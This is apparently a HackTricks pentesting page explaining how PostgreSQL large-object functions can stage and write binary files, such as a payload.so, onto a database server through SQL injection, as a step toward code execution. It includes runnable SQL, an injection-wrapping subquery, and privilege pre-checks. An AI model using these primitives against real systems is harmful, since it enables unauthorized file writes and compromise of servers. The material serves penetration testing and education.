DΛΣMӨП

// HackTricks · Web Pentesting

Big Binary Files Upload in PostgreSQL

Big Binary Files Upload in PostgreSQL

PostgreSQL Large Objects

PostgreSQL offers a structure known as large objects, accessible via the pg_largeobject table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the COPY TO function as it enables the exportation of data back to the file system, ensuring an exact replica of the original file is maintained.[1]

This primitive is commonly chained with RCE with PostgreSQL Extensions or server-side configuration overwrites once lo_export is available.

Server-side SQL functions vs. client-side commands

Do not confuse SELECT lo_import(...) / SELECT lo_export(...) with psql’s \lo_import / \lo_export meta-commands. The SQL functions access paths on the database server as the PostgreSQL service account; the backslash commands transfer files on the psql client through libpq. Therefore, only the SQL form provides the server-side file-write primitive needed by an SQL injection.[1]

SELECT lo_export(173454, '/tmp/payload.so'); -- Database server filesystem
\lo_export 173454 ./payload.so             -- psql client filesystem

For storing a complete file within this table, an object must be created in the pg_largeobject table (identified by a LOID), followed by the insertion of data chunks, each one internal page in size. On standard builds these chunks are 2KB and must be complete except for the last one, otherwise direct row insertion produces zero-filled gaps in the exported file.[3]

When writing rows directly into pg_largeobject, keep in mind that the page size is LOBLKSIZE (BLCKSZ/4, normally 2048 bytes). Therefore, every pageno chunk should be exactly one LOBLKSIZE except the last one. If you use lo_from_bytea or lo_put instead, PostgreSQL will split the data into the underlying pages for you.[3]

To divide your binary data into 2KB chunks, the following commands can be executed:

split -b 2048 your_file # Creates 2KB sized files

For encoding each file into Base64 or Hex, the commands below can be used:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Important: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula ceil(n / 3) * 4.

The contents of the large objects can be viewed for debugging purposes using:

SELECT loid, pageno, encode(data, 'escape')
FROM pg_largeobject WHERE loid=173454 ORDER BY pageno;
SELECT sum(octet_length(data)) AS stored_bytes
FROM pg_largeobject WHERE loid=173454;
SELECT encode(lo_get(173454, 0, 32), 'hex');

stored_bytes is not the logical file size if the object is sparse. Because each row begins at pageno * LOBLKSIZE, calculate the end of the highest page instead. Missing regions read back as zeroes.[3]

SELECT pageno * (current_setting('block_size')::bigint / 4) + octet_length(data) AS logical_bytes
FROM pg_largeobject WHERE loid=173454 ORDER BY pageno DESC LIMIT 1;
SELECT md5(lo_get(173454)) AS staged_md5; -- Suitable for ordinary payload-sized objects

Using lo_creat & Base64

To store binary data, a LOID is first created:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

In situations requiring precise control, such as exploiting a Blind SQL Injection, lo_create is preferred for specifying a fixed LOID.

Data chunks can then be inserted as follows:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

To export and potentially delete the large object after use:

SELECT lo_export(173454, '/tmp/your_file'); -- Path must be writable by the PostgreSQL OS user
SELECT lo_unlink(173454);  -- Deletes the specified large object

Using lo_import & Hex

The lo_import function can be utilized to create and specify a LOID for a large object:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

In exploitation this is useful when you can already read a file from the server file system, want to clone it into a large object, patch it inside the database, and then export it back later.

Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

To complete the process, the data is exported and the large object is deleted:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Using lo_from_bytea, lo_put & lo_get

For modern SQLi exploitation, these functions are often more comfortable than manually inserting rows into pg_largeobject, especially if the sink only allows function calls inside a SELECT expression.[2]

SELECT lo_from_bytea(173454, decode('<FULL_FILE_HEX>', 'hex')); -- Fixed OID
SELECT lo_from_bytea(0, decode('<FULL_FILE_HEX>', 'hex'));      -- Let PostgreSQL choose the OID
SELECT lo_put(173454, 0, decode('<HEX chunk 0>', 'hex'));
SELECT lo_put(173454, 2048, decode('<HEX chunk 1>', 'hex'));
SELECT encode(lo_get(173454, 0, 32), 'hex');
SELECT lo_export(173454, '/tmp/payload.so');

Useful notes:

  • lo_put uses byte offsets, not pageno.
  • lo_from_bytea and lo_put split the data into the internal 2KB pages automatically.
  • This makes them more practical than direct INSERT/UPDATE against pg_largeobject when automating large uploads.
  • Recent PostgreSQL SQLi research used this exact lo_create/lo_put/lo_export pattern to stage native modules and config-file rewrites without relying on stacked queries.[2]

If the injection only accepts a scalar SELECT slot, wrap the side effect in a nested subquery so the payload still parses:[2]

(SELECT 1 FROM (SELECT lo_put(173454, 0, decode('<HEX>', 'hex'))) AS _)

Another practical trick for restrictive CASE/ORDER BY sinks is wrapping lo_put with pg_typeof(...), because lo_put itself returns void.

Pre-flight checks

Before sending hundreds of chunks, confirm the effective role, transaction mode, and the exact overloaded function privilege. A role can have EXECUTE on lo_export(oid,text) without being a database superuser, and PostgreSQL warns that such a grant is effectively server-file access.[1]

SELECT current_user,
       (SELECT rolsuper FROM pg_roles WHERE rolname = current_user) AS is_superuser,
       current_setting('transaction_read_only')::boolean AS is_read_only,
       has_function_privilege(
         current_user, 'pg_catalog.lo_export(oid,text)', 'EXECUTE'
       ) AS can_call_lo_export;
SELECT oid, lomowner::regrole, lomacl
FROM pg_largeobject_metadata WHERE oid = 173454;

Function-level EXECUTE and object-level rights are separate checks: reading an existing LO needs SELECT, writing it needs UPDATE, and unlinking it requires ownership or superuser. A newly created object is owned by the role that created it.[1][3]

Request, rollback, and retry behavior

Large-object catalog changes participate in the surrounding SQL transaction. Consequently, a lo_create or lo_put executed through an error-based payload disappears if the application later rolls the request back. Make every staging expression return a valid, type-compatible value and ensure it is actually evaluated; split the upload over successful requests when necessary. In contrast, lo_export writes an external operating-system file, so a later database rollback cannot restore a file that was truncated or replaced—test the chain against a disposable path first.[1][4]

Retries are safe at a previously written offset because lo_put overwrites bytes, but it does not shrink an existing object. If an earlier payload was longer, reuse can leave a stale tail in the exported file; lo_unlink and recreate the LO before a fresh upload.[1]

Sparse overwrites / patching specific offsets

pg_largeobject supports sparse storage: missing pages are interpreted as zeroes when the object is read back. Therefore, lo_put is also useful to patch only selected offsets instead of rebuilding the whole object.

-- Patch bytes at offset 0x1000
SELECT lo_put(173454, 4096, decode('<PATCHED_HEX>', 'hex'));

This is handy when tweaking only a PE/ELF header, a config file, or a previously imported file before exporting it back to disk.[2]

Limitations

  • Since PostgreSQL 9.0, large objects have an owner and ACLs. SELECT on the large object allows reading it, and UPDATE allows writing or truncating it.[1]
  • Enumerating large objects is usually done via pg_largeobject_metadata; modern versions do not keep pg_largeobject world-readable like older releases did.
  • lo_import and lo_export access the server file system as the PostgreSQL OS user, so by default they are restricted to superusers. If a lower-privileged role has them granted, that is often close to arbitrary file read/write as postgres.
  • If lo_compat_privileges is enabled, the post-9.0 large-object privilege checks are disabled for compatibility, which can re-open legacy read/write behavior on misconfigured targets.

References